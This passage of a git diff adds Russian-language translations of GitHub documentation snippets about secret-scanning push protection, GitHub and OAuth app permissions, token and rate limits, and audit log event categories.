variables.product.prodname_secret_scanning %} for an organization](/assets/images/help/organizations/secret-scanning-enable-push-protection-org.png){% elsif ghes > 3.4 or ghae > 3.4 %} ![Screenshot showing how to enable push protection for {% data variables.product.prodname_secret_scanning %} for an organization](/assets/images/help/organizations/secret-scanning-enable-push-protection-org-ghes.png){% endif %} +1. Optionally, click "Automatically enable for repositories added to {% data variables.product.prodname_secret_scanning %}."{% ifversion push-protection-custom-link-orgs %} +1. Optionally, to include a custom link in the message that members will see when they attempt to push a secret, select **Add a resource link in the CLI and web UI when a commit is blocked**, then type a URL, and click **Save link**. + + ![Screenshot showing checkbox and text field for enabling a custom link](/assets/images/help/organizations/secret-scanning-custom-link.png){% endif %} diff --git a/translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-repo.md b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-repo.md new file mode 100644 index 000000000000..21cfbdce7eb4 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-repo.md @@ -0,0 +1,2 @@ +1. Under "{% data variables.product.prodname_secret_scanning_caps %}", under "Push protection", click **Enable**. + ![Screenshot showing how to enable push protection for {% data variables.product.prodname_secret_scanning %} for a repository](/assets/images/help/repository/secret-scanning-enable-push-protection.png) diff --git a/translations/ru-RU/data/reusables/advanced-security/security-feature-availability.md b/translations/ru-RU/data/reusables/advanced-security/security-feature-availability.md new file mode 100644 index 000000000000..5da2ca252096 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/security-feature-availability.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e6bcb727e053f9c234080dfe66eae1799110e88e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089045" +--- +Некоторые функции доступны для {% ifversion ghes or ghae %}всех репозиториев{% elsif fpt or ghec %}репозиториев во всех планах{% endif %}. Для предприятий, использующих {% data variables.product.prodname_GH_advanced_security %}, доступны дополнительные функции. {% ifversion fpt or ghec %}Функции {% data variables.product.prodname_GH_advanced_security %} включены для всех общедоступных репозиториев на сайте {% data variables.product.prodname_dotcom_the_website %}.{% endif %} {% data reusables.advanced-security.more-info-ghas %} diff --git a/translations/ru-RU/data/reusables/advanced-security/starter-workflow-overview.md b/translations/ru-RU/data/reusables/advanced-security/starter-workflow-overview.md new file mode 100644 index 000000000000..df97293aa8b5 --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/starter-workflow-overview.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0787aa860727060f5d86b26e5a22ad799875b8f0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113963" +--- +{% data variables.product.product_name %} предоставляет начальные рабочие процессы для таких функций обеспечения безопасности, как {% data variables.product.prodname_code_scanning %}. Предложенные рабочие процессы можно использовать для создания рабочих процессов {% data variables.product.prodname_code_scanning %} вместо того, чтобы начинать с нуля. diff --git a/translations/ru-RU/data/reusables/advanced-security/starter-workflows-beta.md b/translations/ru-RU/data/reusables/advanced-security/starter-workflows-beta.md new file mode 100644 index 000000000000..75ee9961146f --- /dev/null +++ b/translations/ru-RU/data/reusables/advanced-security/starter-workflows-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 5fc1efc3f0ad9ba390f6890d3fbf8e27aef2ba0b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089042" +--- +{% note %} + +**Примечание.** Начальные рабочие процессы для {% data variables.product.prodname_advanced_security %} консолидированы в категории "Безопасность" на вкладке **Действия** в репозитории. Эта новая конфигурация пока доступна только в бета-версии и может быть изменена. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/advisory-database/beta-malware-advisories.md b/translations/ru-RU/data/reusables/advisory-database/beta-malware-advisories.md new file mode 100644 index 000000000000..3d57d9cf6a4e --- /dev/null +++ b/translations/ru-RU/data/reusables/advisory-database/beta-malware-advisories.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: a0560c072c0abfef3af9f59e526ebd4d1ae2cad7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147410069" +--- +{% ifversion GH-advisory-db-supports-malware %}{% note %} + +**Примечание.** Советы для вредоносных программ в настоящее время находятся в бета-версии и могут быть изменены. + +{% endnote %}{% endif %} diff --git a/translations/ru-RU/data/reusables/apps/accept_new_permissions_steps.md b/translations/ru-RU/data/reusables/apps/accept_new_permissions_steps.md new file mode 100644 index 000000000000..9d3c199add8a --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/accept_new_permissions_steps.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a3d4fcc265b7fcbde8f78975e9894270fff42e3d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113944" +--- +1. Нажмите **Сохранить изменения** в нижней части страницы. +1. Если вы установили приложение в своей учетной записи, проверьте свой почтовый ящик и перейдите по ссылке, чтобы принять новые разрешения. Каждый раз, когда вы изменяете разрешения или веб-перехватчики приложения, пользователи, которые установили приложение (включая вас самих), должны принять новые разрешения, прежде чем изменения вступят в силу. Чтобы принять новые разрешения, можно также перейти на [страницу установки](https://github.com/settings/installations) и щелкнуть "Настроить" рядом с приложением. В верхней части страницы появится баннер, сообщающий, что приложение запрашивает различные разрешения. Щелкните "Сведения" и нажмите "Принять новые разрешения". diff --git a/translations/ru-RU/data/reusables/apps/app-ruby-guides.md b/translations/ru-RU/data/reusables/apps/app-ruby-guides.md new file mode 100644 index 000000000000..2858fdc87186 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/app-ruby-guides.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: a47dbf3c7415ffd284d7c3a4889b875a9fb55a3a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113939" +--- +{% note %} + +**Примечание.** В этом руководстве демонстрируется процесс разработки приложений с использованием языка программирования Ruby. Однако существуют и другие [способы применения Octokit](/rest/overview/libraries). Если вы предпочитаете JavaScript, то для разработки приложений GitHub можно использовать [Probot](https://probot.github.io/) и [Node.js](https://octokit.github.io/rest.js/). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/apps/app_manager_role.md b/translations/ru-RU/data/reusables/apps/app_manager_role.md new file mode 100644 index 000000000000..e6570135718f --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/app_manager_role.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 16338c86d873227be61c2941971a2f9cb3254cdc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113931" +--- +По умолчанию управлять настройками приложений GitHub в организации могут только владельцы организации. Чтобы разрешить дополнительным пользователям управлять приложениями GitHub в организации, владелец может предоставить им разрешения диспетчера приложений GitHub. Сведения о добавлении и удалении диспетчеров приложений GitHub в организации см. в статье [Диспетчеры приложений GitHub](/articles/permission-levels-for-an-organization/#github-app-managers). diff --git a/translations/ru-RU/data/reusables/apps/checks-availability.md b/translations/ru-RU/data/reusables/apps/checks-availability.md new file mode 100644 index 000000000000..9db227e1e336 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/checks-availability.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 71dc8b1855fe66f4f58137313f31cef0ba97fe7f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113936" +--- +Разрешение на запись для API проверки доступно только для приложений GitHub. Приложения OAuth и пользователи, прошедшие проверку подлинности, могут просматривать проверки и наборы проверок, но не могут их создавать. Если вы не создаете приложение GitHub, вам может пригодиться [API состояний](/rest/reference/commits#commit-statuses). diff --git a/translations/ru-RU/data/reusables/apps/deletes_ssh_keys.md b/translations/ru-RU/data/reusables/apps/deletes_ssh_keys.md new file mode 100644 index 000000000000..6bada9639a80 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/deletes_ssh_keys.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: c71fa3eac7b2e90b74df6eaa4af66fd65c03dd2e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113928" +--- +{% warning %} + +**Предупреждение**. Отзыв всех разрешений от {% data variables.product.prodname_oauth_app %} удаляет все ключи SSH, созданные приложением от имени пользователя, включая [ключи развертывания](/developers/overview/managing-deploy-keys#deploy-keys). + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/apps/deprecating_auth_with_query_parameters.md b/translations/ru-RU/data/reusables/apps/deprecating_auth_with_query_parameters.md new file mode 100644 index 000000000000..7ee77dfd4f8c --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/deprecating_auth_with_query_parameters.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 1ba4f5242c21b752ac7e3bd9a424e0c8c4e96b2a +ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878613" +--- +{% warning %} + +**Уведомление об устаревании.** {% data variables.product.prodname_dotcom %} прекратит проверку подлинности в API с использованием параметров запроса. Проверка подлинности в API должна выполняться с использованием [обычной проверки подлинности HTTP](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens). {% ifversion fpt or ghec %} Использование параметров запросов для проверки подлинности в API не будет работать с 5 мая 2021 г. {% endif %} Дополнительные сведения, включая плановые ограничения нагрузки, см. в [этой записи блога](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/). + +{% ifversion ghes or ghae %} Проверка подлинности в API с использованием параметров запроса доступна, но больше не поддерживается из-за проблем безопасности. Вместо нее рекомендуем интеграторам переместить токен доступа `client_id` или `client_secret` в заголовок. {% data variables.product.prodname_dotcom %} объявит об удалении проверки подлинности с использованием параметров запросов предварительным уведомлением. {% endif %} + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/apps/expiring_user_authorization_tokens.md b/translations/ru-RU/data/reusables/apps/expiring_user_authorization_tokens.md new file mode 100644 index 000000000000..2f398a11a9d7 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/expiring_user_authorization_tokens.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fe5409ed1949cda159d56ac48e991e504b4125a7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113915" +--- +Для укрепления защиты токенов доступа между пользователями и сервером можно использовать токены доступа, срок действия которых истекает через восемь часов, и токен обновления, который можно обменять на новый токен доступа. Дополнительные сведения см. в разделе [Обновление токенов доступа между пользователями и сервером](/apps/building-github-apps/refreshing-user-to-server-access-tokens/). diff --git a/translations/ru-RU/data/reusables/apps/general-apps-restrictions.md b/translations/ru-RU/data/reusables/apps/general-apps-restrictions.md new file mode 100644 index 000000000000..61f888476e25 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/general-apps-restrictions.md @@ -0,0 +1 @@ +{% ifversion fpt or ghec %}If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."{% endif %} diff --git a/translations/ru-RU/data/reusables/apps/ip-allow-list-only-apps.md b/translations/ru-RU/data/reusables/apps/ip-allow-list-only-apps.md new file mode 100644 index 000000000000..9636f4015e08 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/ip-allow-list-only-apps.md @@ -0,0 +1,5 @@ +{% note %} + +**Note:** The addresses in the IP allow list of a {% data variables.product.prodname_github_app %} only affect requests made by installations of the {% data variables.product.prodname_github_app %}. The automatic addition of a {% data variables.product.prodname_github_app %}'s IP address to an organization's allow list does not allow access to a {% data variables.product.product_name %} user who connects from that IP address. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/apps/maximum-github-apps-allowed.md b/translations/ru-RU/data/reusables/apps/maximum-github-apps-allowed.md new file mode 100644 index 000000000000..09dd5e5cab28 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/maximum-github-apps-allowed.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f5bc1070c9d552e51ae946024af409ff1bd9d8c4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879567" +--- +{% ifversion fpt or ghec %}Пользователю или организации могут принадлежать до 100 приложений GitHub.{% endif %} diff --git a/translations/ru-RU/data/reusables/apps/maximum-oauth-apps-allowed.md b/translations/ru-RU/data/reusables/apps/maximum-oauth-apps-allowed.md new file mode 100644 index 000000000000..f2a64efed108 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/maximum-oauth-apps-allowed.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8c468db1efd3eef88dbd1a0a3bce281bea9d6cc6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113864" +--- +{% ifversion fpt or ghec %}Пользователю или организации могут принадлежать до 100 приложений OAuth.{% endif %} diff --git a/translations/ru-RU/data/reusables/apps/oauth-app-access-restrictions.md b/translations/ru-RU/data/reusables/apps/oauth-app-access-restrictions.md new file mode 100644 index 000000000000..8e272706c4fe --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/oauth-app-access-restrictions.md @@ -0,0 +1 @@ +When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, organization members and outside collaborators cannot authorize {% data variables.product.prodname_oauth_app %} access to organization resources. Organization members can request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use, and organization owners receive a notification of pending requests. diff --git a/translations/ru-RU/data/reusables/apps/oauth-apps-restrictions.md b/translations/ru-RU/data/reusables/apps/oauth-apps-restrictions.md new file mode 100644 index 000000000000..0b0c4f30b3ea --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/oauth-apps-restrictions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f65192b62cd5ac803761ffaf5e1e374c8aad502e +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878672" +--- +{% ifversion fpt or ghec %}Если вы используете приложение OAuth с GitHub Actions и хотите изменить файлы рабочего процесса, токен OAuth должен иметь область `workflow`, а пользователь — разрешение владельца или разрешение на запись в отношении репозитория, содержащего файл рабочего процесса. Дополнительные сведения см. в разделе [Основные сведения о областях для приложений OAuth](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes). {% endif %} diff --git a/translations/ru-RU/data/reusables/apps/oauth-auth-vary-response.md b/translations/ru-RU/data/reusables/apps/oauth-auth-vary-response.md new file mode 100644 index 000000000000..370a95cd32ea --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/oauth-auth-vary-response.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0d34d55c87313d2da594b1f53f34419f6123c181 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113851" +--- +Вы также можете получить ответ в разных форматах, указав формат в заголовке `Accept`. Например, `Accept: application/json` или `Accept: application/xml`: diff --git a/translations/ru-RU/data/reusables/apps/oauth-token-limit.md b/translations/ru-RU/data/reusables/apps/oauth-token-limit.md new file mode 100644 index 000000000000..97defdd810dc --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/oauth-token-limit.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7ba9671bd3dc7314442653709d74a10cc65adbc1 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884838" +--- +На одного пользователя, приложение или область действия можно использовать до десяти токенов. Если приложение создает больше десяти токенов для одного и того пользователя и одних и тех же областей, самые старые токены с одним и тем же сочетанием пользователя, приложения и областей отзываются. diff --git a/translations/ru-RU/data/reusables/apps/optional_feature_activation.md b/translations/ru-RU/data/reusables/apps/optional_feature_activation.md new file mode 100644 index 000000000000..0cb8e6d8854d --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/optional_feature_activation.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: d5771c9c0954960982d76d828cdb36d7a0a2312e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113840" +--- +4. На левой боковой панели щелкните **Дополнительные компоненты**. + ![Вкладка "Дополнительные функции"](/assets/images/github-apps/optional-features-option.png) +5. Рядом с дополнительной функцией, которую вы хотите включить для приложения, нажмите кнопку **Дать согласие**. + ![Кнопка "Дать согласие" для включения дополнительной функции](/assets/images/github-apps/enable-optional-features.png) diff --git a/translations/ru-RU/data/reusables/apps/settings-step.md b/translations/ru-RU/data/reusables/apps/settings-step.md new file mode 100644 index 000000000000..3422e16ce711 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/settings-step.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 78a0558108002d870af01a1d9347f11694676ba5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113835" +--- +1. Перейдите к настройкам учетной записи. + - Для приложения {% data variables.product.prodname_github_app %}, принадлежащего учетной записи пользователя, нажмите на фото своего профиля в правом верхнем углу любой страницы и выберите **Настройки**. + ![Значок "Настройки" на панели пользователя](/assets/images/settings/userbar-account-settings_post2dot12.png) + - Для приложения {% data variables.product.prodname_github_app %}, принадлежащего организации, нажмите на фото своего профиля в правом верхнем углу любой страницы и выберите **Ваши организации**. Затем нажмите **Настройки** справа от организации. + ![Ваша организация в меню профиля](/assets/images/help/profile/your-organizations.png) + ![Кнопка "Настройки"](/assets/images/help/organizations/settings-button.png) diff --git a/translations/ru-RU/data/reusables/apps/sinatra_restart_instructions.md b/translations/ru-RU/data/reusables/apps/sinatra_restart_instructions.md new file mode 100644 index 000000000000..54f9bc398173 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/sinatra_restart_instructions.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 41bb3c15a14a80b31fa3c12c51d6f9cb15ee0733 +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145113832" +--- +{% note %} + +**Примечание.** Прежде чем тестировать изменения, необходимо перезапустить сервер Sinatra. Введите `Ctrl-C`, чтобы остановить сервер, а затем снова выполните `ruby template_server.rb`. Если вы не хотите делать это при каждом изменении в коде приложения, можно использовать [перезагрузку](http://sinatrarb.com/faq.html#reloading). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/apps/state_description.md b/translations/ru-RU/data/reusables/apps/state_description.md new file mode 100644 index 000000000000..c18c07643294 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/state_description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2de1af738680c661c5c2d259e266fb3b4d7d3450 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113827" +--- +Случайная строка, которую сложно угадать. Используется для защиты от атак в форме подделки межсайтовых запросов. diff --git a/translations/ru-RU/data/reusables/apps/undetected-pushes-to-a-forked-repository-for-check-suites.md b/translations/ru-RU/data/reusables/apps/undetected-pushes-to-a-forked-repository-for-check-suites.md new file mode 100644 index 000000000000..b2b16eb2fb9a --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/undetected-pushes-to-a-forked-repository-for-check-suites.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: b6dfc33713afc09930569825ced59238fcede851 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881863" +--- +{% note %} + +**Примечание.** API проверки ищет push-уведомления только в том репозитории, где был создан набор проверок или проверка выполнения. Push-уведомления для ветви в разветвленном репозитории не обнаруживаются и возвращают пустой массив `pull_requests` и значение `null` для `head_branch`. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/apps/user-to-server-rate-limits-ghec.md b/translations/ru-RU/data/reusables/apps/user-to-server-rate-limits-ghec.md new file mode 100644 index 000000000000..1d6190588eb2 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/user-to-server-rate-limits-ghec.md @@ -0,0 +1,4 @@ +User-to-server requests are subject to a higher limit of 15,000 requests per hour and per authenticated user in the following scenarios. + +- The request is from a {% data variables.product.prodname_github_app %} that's owned by a {% data variables.product.prodname_ghe_cloud %} organization. +- The request is from an {% data variables.product.prodname_oauth_app %} that's owned or approved by a {% data variables.product.prodname_ghe_cloud %} organization. diff --git a/translations/ru-RU/data/reusables/apps/user-to-server-rate-limits.md b/translations/ru-RU/data/reusables/apps/user-to-server-rate-limits.md new file mode 100644 index 000000000000..f56f5c3e0c77 --- /dev/null +++ b/translations/ru-RU/data/reusables/apps/user-to-server-rate-limits.md @@ -0,0 +1 @@ +{% ifversion ghes %}By default, user-to-server{% else %}User-to-server{% endif %} requests are limited to {% ifversion ghae %}15,000{% elsif fpt or ghec or ghes %}5,000{% endif %} requests per hour and per authenticated user. All requests from OAuth applications authorized by a user or a {% data variables.product.pat_generic %} owned by the user, and requests authenticated with any of the user's authentication credentials, share the same quota of {% ifversion ghae %}15,000{% elsif fpt or ghec or ghes %}5,000{% endif %} requests per hour for that user. diff --git a/translations/ru-RU/data/reusables/audit_log/audit-data-retention-tab.md b/translations/ru-RU/data/reusables/audit_log/audit-data-retention-tab.md new file mode 100644 index 000000000000..457475a1716a --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit-data-retention-tab.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: ce590bb087145ff4abfb195d7257c614464c2b19 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148110099" +--- +1. В разделе "Журнал аудита" щелкните **Аудит хранения данных**. + + ![Снимок экрана: вкладка "Аудит хранения данных"](/assets/images/help/enterprises/audit-data-retention-tab.png) diff --git a/translations/ru-RU/data/reusables/audit_log/audit-log-action-categories.md b/translations/ru-RU/data/reusables/audit_log/audit-log-action-categories.md new file mode 100644 index 000000000000..5399a3d83200 --- /dev/null +++ b/translations/ru-RU/data/reusables/audit_log/audit-log-action-categories.md @@ -0,0 +1,116 @@ +--- +ms.openlocfilehash: e0bf1f4b7bbd5fcb145a6e869dd442fd8e53108a +ms.sourcegitcommit: b4996daba2e75b3368f39316e6929602f13b961b +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/31/2022 +ms.locfileid: "148120537" +--- +| Имя категории | Описание +|------------------|------------------- +{%- ifversion fpt or ghec %} | `account` | Содержит действия, связанные с учетной записью организации. +| `advisory_credit` | Содержит действия, связанные с кредитованием участника за советы по безопасности в {% data variables.product.prodname_advisory_database %}. Дополнительные сведения см. в разделе [Сведения о советах по безопасности {% data variables.product.prodname_dotcom %}](/github/managing-security-vulnerabilities/about-github-security-advisories). +{%- endif %} | `artifact` | Содержит действия, связанные с артефактами запуска рабочего процесса {% data variables.product.prodname_actions %}. +{%- ifversion audit-log-streaming %} | `audit_log_streaming` | Содержит действия, связанные с потоковой передачей журналов аудита для организаций в корпоративной учетной записи. +{%- endif %} {%- ifversion fpt or ghec %} | `billing` | Содержит действия, связанные с выставлением счетов организации. +{%- endif %} {%- ifversion ghec or ghes or ghae %} | `business` | Содержит действия, связанные с бизнес-параметрами для предприятия. +{%- endif %} {%- ifversion code-security-audit-log-events %} | `business_advanced_security` | Содержит действия, связанные с {% data variables.product.prodname_GH_advanced_security %} на предприятии. Дополнительные сведения см. в разделе [Управление функциями {% data variables.product.prodname_GH_advanced_security %} для вашего предприятия](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise). +| `business_secret_scanning` | Содержит действия, связанные с {% data variables.product.prodname_secret_scanning %} на предприятии. Дополнительные сведения см. в разделе [Управление функциями {% data variables.product.prodname_GH_advanced_security %} для вашего предприятия](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise). +{%- endif %} {%- ifversion secret-scanning-audit-log-custom-patterns %} | `business_secret_scanning_custom_pattern` | Содержит действия, связанные с пользовательскими шаблонами для {% data variables.product.prodname_secret_scanning %} на предприятии. +{%- endif %} {%- ifversion code-security-audit-log-events %} | `business_secret_scanning_push_protection` | Содержит действия, связанные с функцией принудительной защиты {% data variables.product.prodname_secret_scanning %} на предприятии. Дополнительные сведения см. в разделе [Управление функциями {% data variables.product.prodname_GH_advanced_security %} для вашего предприятия](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise). +| `business_secret_scanning_push_protection_custom_message` | Содержит действия, связанные с пользовательским сообщением, отображаемым при активации принудительной защиты на предприятии. Дополнительные сведения см. в разделе [Управление функциями {% data variables.product.prodname_GH_advanced_security %} для вашего предприятия](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise). +{%- endif %} | `checks` | Содержит действия, связанные с наборами проверок и запусками. +{%- ifversion fpt or ghec %} | `codespaces` | Содержит действия, связанные с codespace организации. +{%- endif %} | `commit_comment` | Содержит действия, связанные с обновлением или удалением комментариев фиксации. +{%- ifversion ghes %} | `config_entry` | Содержит действия, связанные с параметрами конфигурации. Эти события видимы только в журнале аудита администратора сайта. +{%- endif %} | `dependabot_alerts` | Содержит действия конфигурации на уровне организации для {% data variables.product.prodname_dependabot_alerts %} в существующих репозиториях. Дополнительные сведения см. в статье "[Сведения о {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)". +| `dependabot_alerts_new_repos` | Содержит действия, связанные с конфигурацией на уровне организации, для {% data variables.product.prodname_dependabot_alerts %} в новых репозиториях, созданных в организации. +| `dependabot_repository_access` Содержит действия, связанные с частными репозиториями в {% data variables.product.prodname_dependabot %}, к которым разрешен доступ. +{%- ifversion fpt or ghec or ghes %} | `dependabot_security_updates` | Содержит действия конфигурации на уровне организации для {% data variables.product.prodname_dependabot_security_updates %} в существующих репозиториях. Дополнительные сведения см. в разделе [Настройка обновлений версий {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates). +| `dependabot_security_updates_new_repos`| Содержит действия, связанные с конфигурацией на уровне организации, для {% data variables.product.prodname_dependabot_security_updates %} для новых репозиториев, созданных в организации. +{%- endif %} | `dependency_graph` | Содержит действия, связанные с конфигурацией на уровне организации, для графов зависимостей для репозиториев. Дополнительные сведения см. в разделе [Сведения о графе зависимостей](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph). +| `dependency_graph_new_repos` | Содержит действия, связанные с конфигурацией на уровне организации, для новых репозиториев, созданных в организации. +{%- ifversion fpt or ghec %} | `discussion` | Содержит действия, связанные с обсуждениями команд. +| `discussion_comment` | Содержит действия, связанные с комментариями, опубликованными в обсуждениях на странице команды. +| `discussion_post` | Содержит действия, связанные с обсуждениями, опубликованными на странице команды. +| `discussion_post_reply` | Содержит действия, связанные с ответами на обсуждения, опубликованными на странице команды. +{%- endif %} {%- ifversion ghec or ghes %} | `dotcom_connection` | Содержит действия, связанные с {% data variables.product.prodname_github_connect %}. +| `enterprise` | Содержит действия, связанные с параметрами предприятия. +{%- endif %} {%- ifversion ghec %} | `enterprise_domain` | Содержит действия, связанные с проверенными корпоративными доменами. +| `enterprise_installation` | Содержит действия в отношении {% data variables.product.prodname_github_app %}, связанных с корпоративным подключением {% data variables.product.prodname_github_connect %}. +{%- endif %} {%- ifversion fpt or ghec %} | `environment` | Содержит действия, связанные со средами {% data variables.product.prodname_actions %}. +{%- endif %} {%- ifversion ghae %} | `external_group` | Содержит действия, связанные с группами Okta. +| 